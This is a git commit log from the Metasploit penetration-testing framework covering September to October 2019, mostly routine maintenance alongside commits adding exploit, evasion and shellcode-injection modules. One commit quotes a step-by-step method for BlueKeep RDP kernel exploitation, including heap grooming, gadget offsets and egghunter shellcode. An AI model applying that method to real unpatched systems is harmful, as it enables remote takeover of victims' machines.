2019-10-04 12:58:49 -05:00
bwatters-r7 1c4bf1a5eb Land #12396, Update metasploit Payloads to 1.3.78 to bring in Java keyevent API
Merge branch 'land-12396' into upstream-master
2019-10-04 09:52:48 -05:00
dwelch-r7 06661df510 Make rubocop happy 2019-10-04 15:12:51 +01:00
Brent Cook 90840e3787 actual CVEs this detects is more limited, remove extra refs 2019-10-04 08:52:30 -05:00
Brent Cook 1f8b4478cc convert tool to external Metasploit module 2019-10-04 08:36:04 -05:00
Brent Cook c68f8733d8 import upstream tool from https://github.com/ArmisSecurity/urgent11-detector 2019-10-04 07:33:57 -05:00
Mustafa Çalap 0f5106c705 Add documentation for ssh_version module 2019-10-04 13:09:08 +02:00
Adam Cammack f51ffbf092 Land #12368, Add documentation for SMB capture 2019-10-03 23:36:52 -05:00
Adam Cammack 8fe27d68eb Fix typo 2019-10-03 23:35:24 -05:00
Adam Cammack 5005e5f9e1 Land #12397, Pin rspec-expectations 2019-10-03 23:18:26 -05:00
Jeffrey Martin 893a32b195 lock rspec-expectations
this applies until a solution to rspec/rspec-expectations#1134 is created
2019-10-03 17:46:22 -05:00
dwelch-r7 938c3a0e76 Add module docs 2019-10-03 23:22:21 +01:00
bwatters-r7 ca39858a7a Update metasploit Payloads to 1.3.78 to bring in Java keyevent API 2019-10-03 17:11:55 -05:00
Metasploit 863e15865f Bump version of framework to 5.0.53 2019-10-03 13:41:02 -05:00
Metasploit 9ed739e5f3 Bump version of framework to 5.0.52 2019-10-03 12:12:45 -05:00
Metasploit 54afaedf23 automatic module_metadata_base.json update 2019-10-03 12:07:47 -05:00
Brent Cook a13d13b578 Land #12385, remove invalid email addresses 2019-10-03 11:59:15 -05:00
Brent Cook 7619c41254 Land #12387, bump ruby versions 2019-10-03 11:57:37 -05:00
Dan a78ccb9522 Corrected spelling in bison_ftp_traversal.rb
Fixed spelling error: "releative" to "relative"
2019-10-03 12:47:49 -04:00
Dan bb252d6ed2 Corrected spelling in db2_auth.rb
Fixed spelling error: "seperated" to "separated"
2019-10-03 12:45:09 -04:00
Dan 3393e2446b Spelling correction in udp_sweep.rb
Fixed spelling error: "Intialize" to "Initialize"
2019-10-03 12:38:36 -04:00
Dan bfea024c3a Updates iis_shortname_scanner.rb
Fixed spelling error: "diclose" to "disclose"
2019-10-03 12:28:54 -04:00
Brent Cook c2fe0966fa bump Dockerfile to Ruby 2.6.5 2019-10-03 10:39:36 -05:00
Brent Cook 5a68818c85 bump 2.5.7 as well 2019-10-03 10:39:08 -05:00
dwelch-r7 e13463eb7c remove default exit func 2019-10-03 16:24:29 +01:00
Francesco Soncina dd9fb2d9d6 Add shellcode_inject post module
This module injects an arbitrary shellcode into a target process.
2019-10-03 16:47:10 +02:00
dwelch-r7 c8c4d8ad77 Add new bad char 2019-10-03 15:46:26 +01:00
s7u55 dc64529f03 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb 2019-10-03 09:08:12 +03:00
s7u55 b8f19eb933 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: Valeri Melnikov <MelnikoffVA@yandex.ru>
2019-10-03 09:03:24 +03:00
h00die c9cde76842 additional cleanup 2019-10-02 21:03:00 -04:00
h00die ffc8c7e32a more ruby style 2019-10-02 20:23:12 -04:00
Spencer McIntyre db53adf2a1 Fix the require_signing attribute 2019-10-02 20:22:51 -04:00
Jeffrey Martin 783b54b3d6 bump ruby version for latest goodies 2019-10-02 18:55:34 -05:00
Spencer McIntyre cbf1722b01 Note whether or not SMB requires signatures 2019-10-02 19:22:07 -04:00
bwatters-r7 8142f22f6e shutup, rubocop 2019-10-02 14:50:00 -05:00
s7u55 fd2008c182 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 20:21:35 +03:00
s7u55 2f0e08b323 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 20:03:07 +03:00
dwelch-r7 20d21b45de Move module location 2019-10-02 16:08:54 +01:00
dwelch-r7 2f8e22b603 Remove hardcoded shell code and use options from info hash 2019-10-02 15:11:33 +01:00
floyd c747221863 Remove invalid email addresses 2019-10-02 13:35:25 +02:00
s7u55 f8f656e909 Update documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:43:28 +03:00
s7u55 06118ab8dc Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:43:12 +03:00
s7u55 9765792127 Update documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:42:44 +03:00
s7u55 98c8168253 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:42:34 +03:00
Metasploit 85ea40064c automatic module_metadata_base.json update 2019-10-02 00:48:17 -05:00
s7u55 43b2332afe Add omniresolve priv escalation module (CVE-2019-11660) fix 2019-10-02 01:38:51 -04:00
s7u55 bb0eb16a3e Add omniresolve priv escalation module (CVE-2019-11660) 2019-10-01 15:03:29 -04:00
bwatters-r7 477a70934f Fix copy/pasta error in options 2019-10-01 10:10:51 -05:00
Brent Cook f3c8037728 Land #12374, Add DOUBLEPULSAR payload execution and neutralization module 2019-10-01 01:32:35 -05:00
Brent Cook b223e5e66a Land #12377, Fix stack_adjustment bug 2019-10-01 01:31:53 -05:00
William Vu 9592e85975 Fix stack_adjustment nil bug and refactor method
Also fix incorrect docs.
2019-09-30 19:18:58 -05:00
Metasploit 00fba6bf48 automatic module_metadata_base.json update 2019-09-30 17:37:28 -05:00
dwelch-r7 db7e594ef4 land #12065, local file config loader
Adds a couple of modules for loading in cisco/juniper configs from a
file without needing a shell and a post module
2019-09-30 23:26:27 +01:00
dwelch-r7 e3c51ed89e land #12376, replace intro with introduction 2019-09-30 23:18:28 +01:00
William Vu ade9c23772 Don't be lazy and spell out "introduction" in docs
This was unfortunately my doing, and then people copied me.
2019-09-30 16:58:00 -05:00
William Vu a1d1303ab9 Add module doc 2019-09-30 16:49:14 -05:00
bwatters-r7 273e8b6a82 Add image execute options persistence module 2019-09-30 16:34:43 -05:00
William Vu 3edb0e3ef5 Reword module title and description 2019-09-30 14:28:53 -05:00
William Vu 4b5c6002b4 Move implant neutralization code to method 2019-09-30 14:18:41 -05:00
William Vu d5a26b892a Remove unused status codes in check 2019-09-30 14:18:41 -05:00
William Vu 32728742ea Clarify why we can't proceed 2019-09-30 14:18:41 -05:00
William Vu 4975a24900 Refactor methods to use @tree_id ivar
Whoops, forgot this when I ivar'd it.
2019-09-30 14:18:41 -05:00
William Vu b1f2fa4e64 Don't hardcode body size 2019-09-30 14:18:41 -05:00
William Vu ed0b856aac Prefer << over +=
Oops, spending too much time with Python.
2019-09-30 14:18:41 -05:00
William Vu 255af7f2d3 Simplify data count calculation 2019-09-30 14:18:41 -05:00
William Vu ade715f88a Update disclosure date to dump date 2019-09-30 14:18:41 -05:00
William Vu 7417aa8a30 Rename module and note kill target in description 2019-09-30 14:18:41 -05:00
William Vu 0392521887 Fix same multiplex ID meaning implant not detected 2019-09-30 14:18:41 -05:00
William Vu 33d7a2a818 Remove SMB::Client::Authenticated
They're fine as advanced options, since this targets a null session.
2019-09-30 14:18:41 -05:00
William Vu 6b4cf4970e Don't support x86 at the moment 2019-09-30 14:18:41 -05:00
William Vu aa2f7d378a Create method for kernel shellcode size 2019-09-30 14:18:41 -05:00
William Vu 8190e7067a Calculate kernel shellcode size 2019-09-30 14:18:41 -05:00
William Vu 05b83ff5da Calculate max payload size automagically 2019-09-30 14:18:41 -05:00
William Vu 8cae04f194 Use constant for maximum shellcode size 2019-09-30 14:18:41 -05:00
William Vu fb1bb0fd2f Don't use NOPs because Peter would be sad 2019-09-30 14:18:41 -05:00
William Vu 530bf9bc0c Finish RCE with Jacob's help 2019-09-30 14:18:41 -05:00
William Vu 3a5a05f3a9 Use recently enhanced Rex::Text.xor 2019-09-30 14:18:41 -05:00
William Vu 90cb0e039f Add DOUBLEPULSAR payload execution 2019-09-30 14:18:41 -05:00
h00die 0288649fc2 rename juniper variables 2019-09-30 15:03:38 -04:00
dwelch-r7 30691d1c18 Add ranking 2019-09-30 12:20:38 +01:00
h00die cbc7d1e6aa add headings, run date, tab to space 2019-09-28 12:03:51 -04:00
h00die c188d179ed fix atutor bugs 2019-09-26 20:37:10 -04:00
h00die 0d143a1ce3 smb capture docs spelling 2019-09-26 19:06:02 -04:00
h00die 82f0daeb68 smb capture docs finished 2019-09-26 19:02:57 -04:00
Metasploit 0a41599ce4 Bump version of framework to 5.0.51 2019-09-26 12:12:14 -05:00
Metasploit dd13820cac automatic module_metadata_base.json update 2019-09-26 10:16:31 -05:00
dwelch-r7 84cc85a099 Land #12316 prefix fingerprint by rhost and rport 2019-09-26 16:04:53 +01:00
dwelch-r7 f6eaeaac71 Merge remote-tracking branch 'upstream/pr/12316' into HEAD 2019-09-26 15:20:45 +01:00
dwelch-r7 7395297da4 Add rank 2019-09-26 13:32:36 +01:00
dwelch-r7 1425d180b9 Add module to exploit file sharing wizard 2019-09-26 13:30:52 +01:00
RAMELLA Sébastien 28bbcd5402 fix. linux stager and add. documentation 2019-09-26 16:26:44 +04:00
Metasploit a63fd26eb5 automatic module_metadata_base.json update 2019-09-26 03:59:11 -05:00
Brent Cook 279930a88a Land #12318, Add mazda_ic_mover module documentation 2019-09-26 03:50:47 -05:00
Brent Cook 2227903585 Land #12313, Add mazda_ic_mover module that moves the instrument cluster 2019-09-26 03:50:29 -05:00
Metasploit 8f049f5c23 automatic module_metadata_base.json update 2019-09-26 03:45:09 -05:00
RAMELLA Sébastien dfd97a7518 add. stager and fix. generic command 2019-09-26 12:40:03 +04:00
Brent Cook c86511722a Land #12258, Update gpp.rb to display GPO name 2019-09-26 03:36:28 -05:00
Wei Chen 6a80bf2cf5 Should ensure, not in exception 2019-09-25 22:23:41 -05:00
h00die 24021d1b12 smb capture docs round 2 2019-09-25 22:53:45 -04:00
h00die 74c765c6ac smb capture docs round 1 2019-09-25 22:50:18 -04:00
h00die d6a7da9490 fix atutor nil 2019-09-25 22:02:55 -04:00
h00die ca99bd4191 fix nil check 2019-09-25 21:24:14 -04:00
Wei Chen 8dc238e687 Add TotaJS CMS Code Injection in Widget Creation 2019-09-25 16:54:44 -05:00
Nicholas Starke 73569fef38 Removing Invalid CVE Identifier
CVE Identifier was invalid, I removed that and made a
few other minor formatting / procedural changes, including
doing the check for the options before sending any network traffic.
2019-09-25 16:52:50 -05:00
Nicholas Starke 90cd20b381 Minor Formatting Changes
I forgot to run msftidy before pushing.  This commit
address two formatting issues and adds a place holder for
CVE, even though I don't think this is a CVE candidate.
2019-09-25 16:21:27 -05:00
RAMELLA Sébastien 82457a4049 add. exploit module vbulletin 5.x unauth RCE 2019-09-26 01:11:22 +04:00
Nicholas Starke f77497883b Adding Chrome Debugger Gather Auxiliary Module
This module can retrieve a file from a remote host that is
running a chrome session in headless mode on all network interfaces.
It can also make a web request from the remote host and send back the
full contents.
2019-09-25 15:58:34 -05:00
h00die 4d05287412 land #12361 spell multiple correctly 2019-09-25 15:41:57 -04:00
William Vu 21df0ff4bb Fix "mutliple" typo in CONTRIBUTING.md 2019-09-25 11:14:08 -05:00
Metasploit 496504657c automatic module_metadata_base.json update 2019-09-25 07:48:50 -05:00
Brent Cook 026f9cbd96 Land #12354, Remove unused targets from aux and post modules 2019-09-25 07:40:06 -05:00
Brent Cook c53346d500 Land #12353, Make BlueKeep scanner less chatty by default 2019-09-25 07:37:55 -05:00
h00die a9aa5c4577 land #12358 rspec overlapping variables fix 2019-09-25 05:28:30 -04:00
Brent Cook fd66829cbb remove unneeded change in workspace variable 2019-09-25 03:47:14 -05:00
Brent Cook 27f5720055 use unique Dummy*Class per test 2019-09-25 03:46:11 -05:00
Metasploit a65347dcf7 automatic module_metadata_base.json update 2019-09-24 09:59:10 -05:00
Shelby Pace 4710322cd7 Land #11762, add sosreport privesc 2019-09-24 09:48:57 -05:00
William Vu 2ce3e4f1c4 Make BlueKeep scanner's output less chatty 2019-09-24 08:49:27 -05:00
dwelch-r7 285244e877 Remove commented out code 2019-09-24 13:51:54 +01:00
Metasploit 4d2c5dbd88 automatic module_metadata_base.json update 2019-09-24 06:27:05 -05:00
dwelch-r7 a587668b9e Remove Default targets from aux modules 2019-09-24 12:15:43 +01:00
Brent Cook 75c58d39a9 Land #12314, Clarify file: handling with the RHOSTS parameter 2019-09-24 06:10:29 -05:00
Brent Cook 0ed09cc9bf Land #11927, Add Brocade post module and config parser 2019-09-24 05:59:21 -05:00
Brent Cook 2d1e7ffa2f Land #12349, Add Proxy/header opts to windows/python stageless 2019-09-24 05:54:51 -05:00
Metasploit 4100972530 automatic module_metadata_base.json update 2019-09-23 11:32:55 -05:00
dwelch-r7 fe2b3f8f29 Remove targets from post modules 2019-09-23 17:26:36 +01:00
Brent Cook b668e1fa5b Land #12283, Add exploit module for CVE-2019-0708 / BlueKeep 2019-09-23 11:22:36 -05:00
Brent Cook c0be631bf0 tweak groombase for vmware 15.1 2019-09-23 11:01:04 -05:00
dwelch-r7 134765dc40 Remove targets from aux modules 2019-09-23 15:29:38 +01:00
dwelch-r7 4125224af8 Merge pull request #1 from rapid7/master
Pull in latest from master
2019-09-23 12:06:45 +01:00
Brent Cook 5b36b6ed71 add docs, simplify some areas 2019-09-23 04:50:54 -05:00
OJ 3c0cb29a7c Add Proxy/header opts to windows/python stageless 2019-09-23 08:45:43 +10:00
Brent Cook 0715b7688a use client_random, add notes 2019-09-22 17:20:58 -05:00
Brent Cook 0d34de7d2f support sending license requests 2019-09-22 16:47:08 -05:00
Metasploit 5b8c97c4f7 automatic module_metadata_base.json update 2019-09-20 16:26:44 -05:00
h00die 5e52f47c17 land #12279 resolve_hosts now databases results 2019-09-20 17:18:07 -04:00
Brent Cook 963489e196 add further license PDU parsing 2019-09-20 08:15:07 -05:00
dzflack 7ea19c7d26 fix msftidy error 2019-09-20 20:27:30 +08:00
dzflack e1ab657e55 add warning to the beginning of documentation 2019-09-20 19:41:55 +08:00
Clément Notin 3044fdf517 RHOSTS: expand description 2019-09-20 09:56:11 +02:00
Metasploit 4431476ec4 automatic module_metadata_base.json update 2019-09-19 15:04:09 -05:00
Brent Cook 47a3204e34 Land #12295, Update to modbusclient to use modbus read functions 2 and 4 2019-09-19 14:47:52 -05:00
Metasploit 6d1ee46bba Bump version of framework to 5.0.50 2019-09-19 12:04:38 -05:00
Brent Cook acb351ac44 add a few more vmware targets (emphasising the fragility here) 2019-09-19 07:02:02 -05:00
Brent Cook 3174af03e4 add initial license packet handler 2019-09-19 06:09:41 -05:00
Brent Cook 67ee46ec03 add additional target, set default target GROOMSIZE to 100M (thanks aconite33) 2019-09-19 06:05:08 -05:00
Brent Cook 8138e2f185 remove email 2019-09-19 06:05:08 -05:00
Brent Cook 458dc59594 move kernel shellcode comments to the correct place 2019-09-19 06:05:08 -05:00
Brent Cook d2da56bd90 use specified RDP_CLIENT_NAME 2019-09-19 06:05:08 -05:00
Brent Cook d80ad89160 resolve msftidy error 2019-09-19 06:05:08 -05:00
Brent Cook c405fba6b1 name module docs properly 2019-09-19 06:05:08 -05:00
Spencer McIntyre 0a05ee6577 Use the rdp connect/disconnect methods for WinXP 2019-09-19 06:05:08 -05:00
Brent Cook 7e4a99689a remove separate PoC and shellcode files, replaced with new integrated module 2019-09-19 06:05:08 -05:00
Brent Cook 51c0c24c20 add and update documentation from original PoC 2019-09-19 06:05:08 -05:00
Brent Cook 5b91fa8c88 add initial module documentation stub 2019-09-19 06:05:08 -05:00
Brent Cook fb729b5f11 add bare metal target 2019-09-19 06:05:08 -05:00
Brent Cook 02ba21a0a0 remove WinVer 2019-09-19 06:05:08 -05:00
Brent Cook 4677e0f389 include internal OS version in target names 2019-09-19 06:05:08 -05:00
Brent Cook fec749d3b2 perform fingerprinting in scanner 2019-09-19 06:05:08 -05:00
William Vu de34bc484e Ensure rdp_disconnect in rdp_scanner 2019-09-19 06:05:08 -05:00
William Vu cdd3378acc Clean up BlueKeep exploit 2019-09-19 06:05:08 -05:00
Brent Cook e32409b379 merge Win 7/2008 targets 2019-09-19 06:05:08 -05:00
Brent Cook ab631044af adjust rdp fingerprint code to match self.rdp_sock changes in exploit mixin 2019-09-19 06:05:08 -05:00
Brent Cook f2c475454a tag targets for Virtualbox, add Windows 2008R2 2019-09-19 06:05:08 -05:00
Brent Cook 15ce66cb02 adjust to ManualRanking 2019-09-19 06:05:08 -05:00
Brent Cook 35e3704526 add current caveats and notes from zerosum0x0 2019-09-19 06:05:08 -05:00
Brent Cook e243e1a50d add a more likely arch with the default fingerprint target 2019-09-19 06:05:08 -05:00
Brent Cook f3a9af2ea8 rename for consistency with scanner module 2019-09-19 06:05:08 -05:00
Brent Cook 855281b0ac add auto-target by default, only scan and show a user message for now 2019-09-19 06:05:08 -05:00
Brent Cook b860cafddf remove 'COMPACT' mode since it's not needed here 2019-09-19 06:05:08 -05:00
Brent Cook 49cb6204e5 explicit short jump no longer needed with relative address fixes 2019-09-19 06:05:08 -05:00
Brent Cook 559901865e add PR ref 2019-09-19 06:05:08 -05:00
Brent Cook 9e321dc30e move hack into fixup code 2019-09-19 06:05:08 -05:00
Brent Cook 9150ab4e1a add pre/post processor phase to address metasm limits
This adds a pre/post processor phase that allows specifying relative
label offsets when loading effective addresses from metasm-generated
code.
2019-09-19 06:05:08 -05:00
Brent Cook 6522866071 specify short jump opcodes explicitly 2019-09-19 06:05:08 -05:00
OJ f479ed2d73 Small refactors, comments and tidying up 2019-09-19 06:05:08 -05:00
William Vu 725bff5e2d Add CheckScanner and ForceExploit 2019-09-19 06:05:08 -05:00
Brent Cook 49762084f2 minor cleanup of debug code and remove some fixed encodings (still need a couple) 2019-09-19 06:05:08 -05:00
Brent Cook a529866e1a first working metasm shellcode 2019-09-19 06:05:08 -05:00
Brent Cook 6225c5c31f skip payload encoding, be a bit more self-documenting 2019-09-19 06:05:08 -05:00
Brent Cook 4edf91d0b2 add debug writes (to be removed later) 2019-09-19 06:05:08 -05:00
Brent Cook 121e337e13 fix incorrect bytes in kernel shellcode 2019-09-19 06:05:08 -05:00
OJ c76e773b8f Another attempt to get bluekeep working
For some reason the existing kernel payload doesn't work with the
exploit as it currently stands, which is very odd given that everything
else seems to be in order.

Hoping to get some help from the rest of the MSF folks as right now
I don't think I can trust the tools that I'm using.
2019-09-19 06:05:08 -05:00
OJ 8412ff319a Fix disconnect PDU message and start work on payloads 2019-09-19 06:05:08 -05:00
OJ edcc423eea Lots more RDP mixin changes, and first pass of ruby exploit
This code is at the point where we SHOULD see a crash (given that the
payloads in use for kernel/user are both just As and Bs (deliberate at
this point).

Unforunately the exploit does not result in a crash. Things just keep
on going! I've looked at the difference in the traffic across the two
different exploits (py and rb) and what's clear is that the mixin is
doing a lot more work at the start.

Also, the mixin generates packets of smaller size in the way that it
encodes data (ie. it doesn't always use 2 bytes for a short value, it'll
use 1 instead if only 1 is required).

Pretty sure that the size issues aren't the problem, I think there's
something else in play. I'm at the point where diving into the RDP stuff
even more isn't inspiring so I'm hoping that opening this up to collab
will help us move forward.
2019-09-19 06:05:08 -05:00
OJ 1d6e319ac2 Refactor of RDP mixin to make it more configurable
Slowly moving away from a huge hard-coded blob of inflexible bytes
towards a more data-driven approach that allows configuration of various
elements of the packets that are generated.
2019-09-19 06:05:08 -05:00
OJ eb9088a588 Refactor RDP mixin to hide socket details
When dealing with the RDP mixin it makes more sense to not expose
TCP-level things, instead it's better to talk RDP. This changeset makes
it so that consumers of the RDP mixin talk RDP only. They can access the
socket through the `rdp_socket` member if required, but the changes made
here mean they don't have to. Ultimately, this new member should be
`private` instead of `protected`, but I'm leaving it like this for now
in case it is required down the track.

I've also made the assumption that all RDP connects want TCP_NODELAY
set. This might be wrong, but I don't think it is.

From here, users can call `rdp_connect` and `rdp_disconnect` to manage
connectivity to the RDP endpoint. The `rdp_connect` function does not
register the TCP client socket as the global `sock` member on the TCP
module instance, this is to prevent the mixin from clashing with other
users of the TCP client in a given module.
2019-09-19 06:04:58 -05:00
Brent Cook b9cb6d8820 Allow specifying TLS version via 'SSLVersion' opt 2019-09-19 06:03:17 -05:00
William Vu 9e235edd88 chmod +x so it loads as an external module 2019-09-19 06:02:22 -05:00
Tod Beardsley 5ae1c8ef49 Payload shellcode for Bluekeep from zerosum
Not sure where these should go, adjust to taste.
2019-09-19 06:02:22 -05:00
Tod Beardsley 6b4e067c0e Add rdp_bluekeep.py and needs work
From zerosum0x0:

Exploitation and Caveats:
1. You register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
2. Full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
3. You free MS_T120 with the DisconnectProviderIndication message to MS_T120.
4. RDP has chunked messages, so we use this to groom.
   a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
   b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
       i. RDPSND only works when HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
       ii. This registry key is not a default setting for server 2008 R2. SHITTY ISSUE
5. Use chunked grooming to fit new data in the freed channel, account for the allocation header size (like 0x38 I think?). At offset 0x100? is where the "call [rax]" gadget will get its pointer from.
   a. The NonPagedPool (NPP) starts at a fixed address on XP-7
       i. Hot-swap memory is another SHITTY ISSUE. With certain VMWare and Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP start. This can be anywhere from 100 mb to gigabytes of offset before the NPP start.
   b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
   c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an indirect call
   d. We are limited to 0x400 payloads by channel chunk max size. My current shellcode is a twin shellcode with eggfinders. I spam the kernel payload and user payload, and if user payload is called first it will egghunt for the kernel payload.
6. After channel hole is filled and the NPP is spammed up with shellcode, trigger the free by closing the socket.
TODO:
* You can use the scanner methodology to detect x86/x64, but I'm still not sure how to detect OS, other than XP nominally will not use SSL and 7 will.
* The whole thing needs to be swapped to the Ruby version. Tom Sellers client is nicer and works for XP whereas this python client will not (when I wrote this module it was still in progress)
* Write the XP/2003 portions grooming MS_T120.
* Can we detect if RDPSND grooming is working or not?
* Any channels besides RDPSND/MS_T120 work for the grooming? (I've gone through about 10 books on NT RDP and reversed enough to doubt it)

https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming MS_T120 on XP... should be same process as the RDPSND
2019-09-19 06:02:21 -05:00
Metasploit 0e9a2d13ac automatic module_metadata_base.json update 2019-09-18 22:12:28 -05:00
Brent Cook 4af0731f8c Land #12320, Add correct CVE for shopware module 2019-09-18 22:04:12 -05:00
James Lee fc69bfcc6c Merge branch 'h00die-egypt_resolve_hosts' into resolve_hosts_save_names 2019-09-18 16:49:56 -05:00
Metasploit ce8e85d573 automatic module_metadata_base.json update 2019-09-18 15:08:40 -05:00
Adam Cammack a8da66e6ee Land #12343, Fix ps1 and powershell transform 2019-09-18 14:59:25 -05:00
Adam Cammack 2716687f0d Bump rex-text to 0.2.24 2019-09-18 14:58:21 -05:00
James Lee 440c82b3e2 Fix broken ps1 and powershell transform 2019-09-18 12:20:16 -05:00
hkerma 98c9654d19 created a 'docs' directory in /tools. Added a tool to find missing documentations and/or modules 2019-09-18 16:09:53 +02:00
sinn3r a386b2d503 Land #12176 - Add evasion module applocker_evasion_regasm_regsvcs
Add evasion module applocker_evasion_regasm_regsvcs
2019-09-17 10:20:56 -05:00
Metasploit 18f21bb3a7 Bump version of framework to 5.0.49 2019-09-16 09:21:03 -05:00
RageLtMan 21dd5f438d Address some of @bcoles comments 2019-09-15 01:14:04 -04:00
Tim W 4d9780f070 Land #12239, fix search path separator 2019-09-13 17:08:57 +08:00
Jay Turla b879a888f8 Indent everything in super to 2 spaces 2019-09-13 09:32:21 +08:00
Clément Notin d85297c556 jboss_vulnscan: report the URL ("app") concerned by message 2019-09-13 01:04:28 +02:00
Metasploit de1bf2e715 automatic module_metadata_base.json update 2019-09-12 17:49:21 -05:00
Wei Chen 97fbfa3a9f Land #12154, Add evasion module applocker_evasion_presentationhost 2019-09-12 17:41:01 -05:00
todb-r7 a9a2ce2f6a Add correct CVE for shopware module
In PR #11828, the module author requested, and got, a new CVE for this
issue. The module should reflect that.
2019-09-12 16:09:32 -05:00
Clément Notin b8a393ea89 jboss_vulnscan: prefix fingerprint by 'fingerprint: ' 2019-09-12 22:57:57 +02:00
Metasploit f48a065d6d Bump version of framework to 5.0.48 2019-09-12 12:05:18 -05:00
Jay Turla 6771dd4c16 Update mazda_ic_mover.md 2019-09-13 00:11:38 +08:00
Pearce Barry 580f4f93bc Land #12308, move bigdecimal fix to separate file
include for specs
2019-09-12 09:32:08 -05:00
Metasploit c62cb1691c automatic module_metadata_base.json update 2019-09-12 07:55:14 -05:00
Shelby Pace e21b25b20f Land #12302, add zip slip exploit 2019-09-12 07:45:51 -05:00
Shelby Pace 644988750e change permission on payload 2019-09-12 07:43:54 -05:00
Jay Turla f0ca2fb2e5 Create a documentation for mazda_ic_mover module 2019-09-12 17:40:23 +08:00
Jay Turla 5fa9c5e21a Update mazda_ic_mover.rb
Changed ```0x10``` to ```0x01```
2019-09-12 12:49:45 +08:00
Metasploit 469f848b22 automatic module_metadata_base.json update 2019-09-11 16:06:43 -05:00
Shelby Pace 408d01cef4 Land #12276, add OpenEMR auxiliary module 2019-09-11 15:58:01 -05:00
Shelby Pace 8bfdaf6ab7 change metadata indentation 2019-09-11 15:56:46 -05:00
holdonasec fc82d508d8 remove weird loop 2019-09-11 15:17:06 -04:00
Brent Cook 3a4887cb3a Land #12315, update code climate banners 2019-09-11 13:37:31 -05:00
Clément Notin 88bdb981ad jboss_vulnscan: prefix fingerprint by 'rhost' and 'rport' 2019-09-11 19:54:32 +02:00
Jeffrey Martin c088ec9ee8 update code climate banners 2019-09-11 12:48:57 -05:00
Clément Notin 2ccfbbe8f8 RHOSTS: fix syntax in doc examples 2019-09-11 19:22:37 +02:00
Clément Notin ecb5eec969 RHOSTS: test for accept both "file://<path>" and "file:<path>" syntax 2019-09-11 19:04:53 +02:00
Metasploit c2790d44f6 automatic module_metadata_base.json update 2019-09-11 11:54:31 -05:00
sinn3r cfeaca6de8 Land #12310, Add CVE info for jboss_vulnscan and jboss_status
jboss_vulnscan and jboss_status: add CVE information
2019-09-11 11:47:05 -05:00
Clément Notin 911d3c41cd RHOSTS: accept both "file://<path>" and "file:<path>" syntax 2019-09-11 18:45:59 +02:00
Jay Turla b3240a1819 Add mazda_ic_mover module that moves the instrument cluster
This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster
2019-09-12 00:07:42 +08:00
Will Porter 3ed9fb0383 Fix a bug caused by writing python code in a ruby file. 2019-09-11 15:39:15 +00:00
Metasploit 3483881b19 automatic module_metadata_base.json update 2019-09-11 10:36:39 -05:00
Wei Chen a63357c460 Land #12177, Add evasion module applocker_evasion_workflow_compiler 2019-09-11 10:28:16 -05:00
Clément Notin b460dc113d jboss_vulnscan & status: add CVE ref 2019-09-11 14:05:21 +02:00
William Porter 11021e3bc1 Update the documentation to reflect recent changes. 2019-09-10 21:53:06 -04:00
William Porter 262e574fe2 Add the .csv extension to the loot file. 2019-09-10 21:32:03 -04:00
William Porter 7a8eb76a12 Use the same gsub pattern to create the ltype as is used by store_loot to sanitize characters. 2019-09-10 21:14:15 -04:00
Brent Cook e4992c6817 move bigdecimal fix to separate file, include for specs
This fixes some noisy warnings about bignum when running specs, making it easier to see the real problems.
2019-09-10 18:40:14 -05:00
bwatters-r7 6703e9b06b Land #11984, add meterpreter keyevent api for virtual key strokes
Merge branch 'land-11984' into upstream-master
2019-09-10 14:32:43 -05:00
Wei Chen 8fe1f9d172 Rephrase 2019-09-10 12:12:46 -05:00
William Porter 832d2e4300 Remove unneccesary comment. 2019-09-10 12:29:55 -04:00
Will Porter 3fc0467484 Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Remove unused path variable.

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-10 12:27:48 -04:00
Will Porter f1f9597222 Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Use `normalize_uri` to construct the vulnerable URI.

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-10 12:27:22 -04:00
Metasploit e66179a0e7 automatic module_metadata_base.json update 2019-09-10 11:24:33 -05:00
bwatters-r7 ee660d61ea Land #12275, Update payloads to 1.3.77
Merge branch 'land-12275' into upstream-master
2019-09-10 11:14:56 -05:00
Brent Cook 73eab2c34a Land #12286, RDP lib: lower SSL security level for compatibility with older implementations 2019-09-09 23:11:15 -05:00
Brent Cook 902ff4f573 Land #12301, fix a few issues using/building Docker images 2019-09-09 23:04:10 -05:00
Brent Cook f24c689d84 fix compatibility with --chown flag with COPY 2019-09-09 23:02:26 -05:00
Brent Cook d874f1899d update lock for unpinned gem 2019-09-09 22:52:54 -05:00
Wei Chen 2cd8125a40 Add zip skip 2019-09-09 12:00:53 -05:00
Wei Chen 5e65685167 Update documentation for zip slip 2019-09-09 12:00:05 -05:00
Matúš Bursa 9297809b41 fix permissions bug Gemfile.lock
There was an error while trying to write to /usr/src/metasploit-framework/Gemfile.lock. It is likely that you need to grant write permissions for that path.
2019-09-09 12:59:19 +02:00
Metasploit 0cbfaccc7d automatic module_metadata_base.json update 2019-09-08 00:09:39 -05:00
